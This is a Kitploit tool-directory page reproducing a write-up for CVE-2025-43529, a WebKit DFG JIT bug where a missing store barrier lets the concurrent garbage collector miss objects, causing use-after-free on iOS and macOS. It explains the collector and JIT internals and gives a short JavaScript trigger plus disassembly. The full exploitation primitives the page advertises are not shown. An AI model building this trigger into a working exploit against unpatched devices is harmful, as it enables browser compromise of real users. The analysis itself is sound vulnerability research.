Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-43529 — Technical exploit for CVE-2025-43529, a WebKit DFG JIT compiler vulnerability enabling use-after-free via missing store barrier in concurrent GC, with full exploitation primitives for iOS and macOS. | Kitploit
Tools/GitHubGitHub/jir4vv1t/cve-2025-43529
Memory ForensicsVulnerability AnalysisExploitationReverse EngineeringWeb SecurityBinary Exploitation
GitHubjir4vv1t/cve-2025-43529

CVE-2025-43529

Technical exploit for CVE-2025-43529, a WebKit DFG JIT compiler vulnerability enabling use-after-free via missing store barrier in concurrent GC, with full exploitation primitives for iOS and macOS.

View Repository
8511128 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-43529

TL; DR

Apple recently shipped iOS 26.2 and iPadOS 26.2, along with a security advisory that includes fixes for WebKit vulnerabilities. One bug in the DFG JIT compiler (CVE-2025-43529) stood out, so I decided to dig into it.

The JIT compiler correctly recognized that a Phi node (where multiple control-flow paths merge) had escaped, but it failed to notice that the Phi's Upsilon nodes had also escaped. Because of that, the DFG compilation StoreBarrierInsertionPhase skipped inserting a Store Barrier, which is a key memory-safety mechanism. As a result, the concurrent GC can miss objects it should have scanned, which can lead to a use-after-free.

You can find the patch commit here.

I have confirmed my exploit works on iOS 26.1, iPadOS 26.1 and macOS Tahoe 26.0.1.

Background

Generational GC

JSC uses a generational GC model to manage the heap efficiently. In this model, memory is split into Eden (new space) and old space based on object age. All newly allocated objects start in Eden. When Eden fills up, an Eden GC is triggered and any surviving objects are promoted to old space. Cleaning up old space objects requires a full GC.

To make generational GC work, the GC needs to classify objects as "already scanned", "needs scanning" or "needs rescanning". In JSC, this is tracked using an object's cellState. (All GC managed objects inherit from JSCell.)

StructureID m_structureID;
union {
    uint32_t m_blob;
    struct {
        IndexingType m_indexingTypeAndMisc; 
        JSType m_type;
        TypeInfo::InlineTypeFlags m_flags;
        CellState m_cellState;
    };
};

cellState is 1 byte and can be one of three colors: Black (0), White (1), and Grey (2).

White means an object that has just been allocated in eden. In the current GC cycle, it hasn't been marked yet. If it stays in this state until the end of the GC cycle, the object will be collected.

Black means the GC has already finished marking the object or is in the process of marking it. It's basically treated as alive, although the isMarked bit might still be off.

Grey means an object that still needs to be scanned. More precisely, it was originally Black, but it got caught by the write barrier and added to the remembered set. In other words, its references changed, so the GC needs to scan it again.

Concurrent GC

JSC has also Concurrent GC, which lets the application run while memory is being reclaimed. If the GC is marking an object in the background and the application changes that object's state at the same time, you can end up with a race condition.

To prevent this, you need ordering guarantees. Like "write (store) A, then read (load) B" happening in that exact order. But on ARM64, for performance reasons, the CPU can reorder memory operations. That means the GC could read the wrong value.

So JSC uses a dependency class to rely on the CPU's data dependencies or it uses special ARM64 instructions like STLR and LDAR to enforce ordering. STLR ensures earlier reads/writes become visible before the store (a release store). LDAR ensures later reads/writes can't move ahead of the load (an acquire load). When another thread reads an object, LDAR is paired with STLR so it can safely observe the most recent data.

DMB isn't a single special instruction for one access. It's a barrier that forces ordering across all memory accesses around it. It ensures memory operations before the DMB become visible before operations after it.

JSC JIT

JSC has three JIT tiers in total. To balance execution speed against compilation cost (memory/time), it applies optimizations and moves code to the next tier based on how frequently it runs.

  • Tier 1: Baseline JIT
  • Tier 2: DFG JIT
  • Tier 3: FTL JIT

Baseline JIT is is the first JIT compiler. It focuses on getting to native code fast with a low compile overhead. DFG JIT is the next stage after Baseline JIT, where serious optimization starts.

At the DFG tier, JavaScript instructions are converted into a graph made up of DFG IR nodes. Using the type information it gathers, the compiler performs speculation to remove unnecessary operations. In JSC's DFG optimization pipeline, the StoreBarrierInsertionPhase inserts a StoreBarrier after nodes that write to memory, like PutByOffset. CVE-2025-43529 is a vulnerability caused by failing to insert a StoreBarrier when it should have been inserted during StoreBarrierInsertionPhase.

A StoreBarrier is a node that acts like a write barrier. It's used to preserve correctness in races with the marking thread.

Trigger Bug

The vulnerable DFG node scenario described in the patch commit looks like this:

BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
   Branch(BB#2, BB#3)

BB#2
...
d: Something
e: Upsilon(@d, ^f)
   Jump(BB#3)

BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...

In BB#1, two new objects are created, and execution branches to either BB#2 or BB#3. BB#2 then falls through into BB#3. The interesting part in BB#3 is the Phi node. It means f is either c or e, and that choice is determined by the upstream Upsilon nodes. In BB#3, PutByOffset means adding a value to an object's property.

Simplified PoC

let A = { p0: 0x41414141 };

function jitme(flag) {
    // BB#1
    let a = { p0: 13.37 };
    let b = { p0: 0x42424242 };

    let f;

    if (flag) {
        // BB#2
        f = b; 
    } else {
        // BB#3
        f = 1.1; // d
    }

    // BB#4
    A.p0 = f; 
    b.p0 = a;
}

If you use the --dumpFTLDisassembly=true option, you can inspect the assembly after FTL compilation.

// Starting BB#3
  0  3 60:   D@46:< 1:->        Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
  1  3 60:   D@53:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  2  3 60:   D@57:<!0:->        ExitOK(MustGen, W:SideState, bc#50, ExitValid)
  3  3 60:   D@63:<!0:->        KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
  4  3 60:   D@60:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  5  3 60:   D@67:<!0:->        KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
  6  3 60:   D@66:<!0:->        ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
  7  3 60:   D@69:<!0:->        FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
  8  3 60:   D@70:<!0:->        PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)

// StoreBarrier for D@65(A)
  9  3 60:   D@78:<!0:->        FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
 10  3 60:   D@73:<!0:->        FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)

// D@36 : b
// D@26 : a
// b.p0 = a
 11  3 60:   D@75:<!0:->        PutByOffset(KnownCell:Kill:D@36, KnownCell:D@36, Check:Untyped:Kill:D@26, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#72, ExitValid)
// StoreBarrier for D@36(b) is supposed to be here
 12  3 60:   D@71:<!0:->        Return(Check:Untyped:Kill:D@2, MustGen, W:SideState, Exits, bc#78, ExitValid)
Download Tool